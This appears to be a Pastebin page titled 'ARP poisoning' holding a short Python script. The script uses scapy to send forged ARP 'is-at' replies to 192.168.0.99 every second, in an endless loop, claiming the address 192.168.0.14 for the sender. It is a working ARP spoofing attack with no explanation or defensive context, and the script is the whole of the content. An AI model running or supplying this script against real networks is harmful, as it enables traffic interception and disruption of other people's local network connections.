Advertisement
mbazs

ARP poisoning

Aug 14th, 2017
684
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.29 KB | None | 0 0
  1. import sys
  2. import time
  3. from scapy.all import sendp, Ether, ARP
  4.  
  5. if __name__ == "__main__":
  6.     ether = Ether()
  7.     arp = ARP(pdst = "192.168.0.99", psrc = "192.168.0.14", op = "is-at")
  8.     packet = ether / arp
  9.     while True:
  10.         sendp(packet, iface = "eth0")
  11.         time.sleep(1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement